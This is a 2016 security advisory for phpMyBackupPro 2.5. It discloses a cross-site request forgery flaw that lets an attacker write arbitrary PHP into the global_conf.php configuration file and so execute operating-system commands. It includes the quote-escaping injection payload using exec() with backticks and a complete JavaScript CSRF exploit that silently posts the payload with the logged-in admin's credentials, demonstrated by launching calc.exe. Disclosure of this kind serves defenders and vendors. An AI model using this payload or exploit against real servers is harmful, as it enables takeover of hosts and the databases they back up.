phpMyBackupPro 2.5 - Remote Command Execution / Cross-Site Request Forgery

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/PHPMYBACKUPPRO-v2.5-RCE.txt


Vendor:
=============================
www.phpmybackuppro.net

project site:
sourceforge.net/projects/phpmybackup/


Product:
===========================
phpMyBackupPro v.2.5 (PMBP)

phpMyBackup Pro is a very easy to use, free, web-based MySQL backup
application, licensed under the GNU GPL.
You can create scheduled backups, manage and restore them, download or
email them and a lot more.


Vulnerability Type:
=========================
Remote Command Execution / CSRF


CVE Reference:
==============
N/A


Vulnerability Details:
=====================

phpMyBackupPro uses PHP configuration files (global_conf.php) to manage
settings, allowing user to change things like sql host, language, email
etc..
However, a malicious local user can also inject persistent arbitrary PHP/OS
commands into the configuration to be executed on the host system.
The remote command execution can also be a result of a CSRF driveby by if
currently logged admin visits an attackers webpage.

Attackers can inject and write to disk arbitrary PHP code into the
global_conf.php configuration file if a victim visits a malicious webpage
or clicks an
infected link via a CSRF vector or additionally from a local malicious user
in shared host type environment.

first we escape the single quotes etc... so we can close the expected
entry, then we leverage the backtick "`" operator to have PHP execute OS
commands
on victims system as it works just as well without having to deal with all
the quote escaping.

e.g. payload that handles the single "'" quote an forward slashes "/"...

''///\\');exec(`c:/\Windows/\system32/\calc.exe`); ///\';


The above when injected will result in a write to $CONF variables in
global_conf.php as follows...

$CONF['lang']=ue('\'\'///\\');exec(`c:/Windows/system32/calc.exe`);
///\';');

OR...

$CONF['email']=ue('\'\'///\\');exec(`c:/Windows/system32/calc.exe`);
///\';');


Exploit code(s):
===============

Send admin infected link or convince them to visit our malicious webpage,
then if the user is logged in and...
a) clicks our link or visits our evil webpage or
b) submits the form locally (malicious user) then BOOOOOOOOOOOM!


Exploit to run calc.exe on Windows

<script>
var c=0;
(function RCE_MAYHEM(){
c++
var xhr=new XMLHttpRequest()
xhr.open('POST','
http://localhost/phpMyBackupPro-2.5/phpMyBackupPro-2.5/config.php',true)
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
xhr.send("sitename=localhost&lang=''///\\');exec(`c:/\Windows/\system32/\calc.exe`);
///\';&sql_host=localhost&sql_user=&sql_passwd=&sql_db=&ftp_server=
hyp3rlinx.altervista.org
&ftp_user=hyp3rlinx&ftp_passwd=&ftp_path=&ftp_pasv=1&ftp_port=666&ftp_del=1&email_use=1&email=&submit=Save+data")
if(c<2){
RCE_MAYHEM()
 }
})()
</script>


Disclosure Timeline:
=====================================
Vendor Notification:  NR
February 16, 2016  : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
================
High


Description:
=============================================================

Request Method(s):        [+]  POST


Vulnerable Product:       [+]  phpMyBackupPro v.2.5 (PMBP)


Vulnerable Parameter(s):  [+]  $CONF

============================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx